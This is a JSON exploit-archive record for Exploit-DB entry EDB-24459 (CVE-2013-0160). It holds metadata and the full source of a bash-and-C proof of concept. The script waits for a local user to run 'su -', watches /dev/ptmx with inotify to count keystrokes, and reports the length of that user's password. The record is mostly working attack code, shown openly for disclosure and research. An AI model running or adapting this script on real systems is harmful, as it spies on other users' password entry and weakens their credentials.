{"exploit":{"id":"EDB-24459","name":"Linux Kernel 2.6.32-5 (Debian 6.0.5) - '/dev/ptmx' Key Stroke Timing Local Disclosure","description":"Linux Kernel 2.6.32-5 (Debian 6.0.5) - '/dev/ptmx' Key Stroke Timing Local Disclosure","cves":["CVE-2013-0160"],"author":"vladz","published":"2013-02-05","platform":"linux","type":"local","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/24459","path":"exploits/linux/local/24459.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-24459.sh","vulnerabilities":[{"id":"CVE-2013-0160","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Linux kernel through 3.7.9 allows local users to obtain sensitive information about keystroke timing by using the inotify API on the /dev/ptmx device.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-0160","cvss":{"version":"2.0","baseScore":2.1,"severity":"low","vectorString":"AV:L/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-0160"},"updatedAt":"2024-08-06T14:18:09.394Z","retrievedAt":"2026-11-27T16:08:09.691Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-24459.png?v=2","url":"https://exploitbin.com/exploits/EDB-24459","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-24459/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-24459/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/bash\n# ptmx-su-pwdlen.sh -- This PoC determine the password length of a local\n# user who runs \"su -\".  Done thanks to the ptmx keystroke timing attack\n# (CVE-2013-0160). See http://vladz.devzero.fr/013_ptmx-timing.php for\n# more information.\n#\n# Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64).\n#\n# \"THE BEER-WARE LICENSE\" (Revision 42):\n# <vladz@devzero.fr> wrote this file. As long as you retain this notice\n# you can do whatever you want with this stuff. If we meet some day, and\n# you think this stuff is worth it, you can buy me a beer in return. -V.\n\nif ps -e -o cmd= | egrep -q \"^(-|^)su\"; then\n  echo \"[-] Kill/close all running \\\"su\\\" session before using this PoC\"\n  exit 1\nfi\n\nexe=$(mktemp) || exit 1\ntmp=$(mktemp) || exit 1\n\ncat > ${exe}.c << _EOF_\n#include <stdio.h>\n#include <signal.h>\n#include <unistd.h>\n#include <sys/inotify.h>\n\nstatic int count = 0;\n\nvoid display_result() {\n\n  printf(\"[+] password len is %d\\n\", count-1);\n  _exit(0);\n}\n\nint main() {\n\n  int fd;\n  char buf[1024];\n\n  signal(SIGINT, display_result);\n\n  fd = inotify_init();\n  inotify_add_watch(fd, \"/dev/ptmx\", IN_MODIFY);\n\n  while(read(fd, buf, 1024)) count++;\n\n  return 0;\n}\n_EOF_\n\ncc -o ${exe}{,.c}\n\necho \"[*] Wait for someone to run \\\"su -\\\"\"\n\nwhile true; do\n\n  ps -e -o cmd= | egrep \"^(-|^)su\" >${tmp}\n  x=$(wc -l ${tmp})\n\n  case ${x% *} in\n\n    1) (( run )) && continue;\n       echo -n \"[+] su detected, full command: \"\n       cat ${tmp}; ${exe} &\n       (( run = 1 ))  ;;\n\n    2) [ ! -z \"$!\" ] && kill -2 $!; break ;;\n\n  esac\n\ndone\n\nrm -f ${exe}{,.c} ${tmp}","sha256":"3c466fabb820b2558612ca05960c65df86d10d9ae8d6383905b666e496f9d086","bytes":1553,"fetchedAt":"2026-11-27T16:08:05.856Z","encoding":"utf-8 (display only; download retains original bytes)"}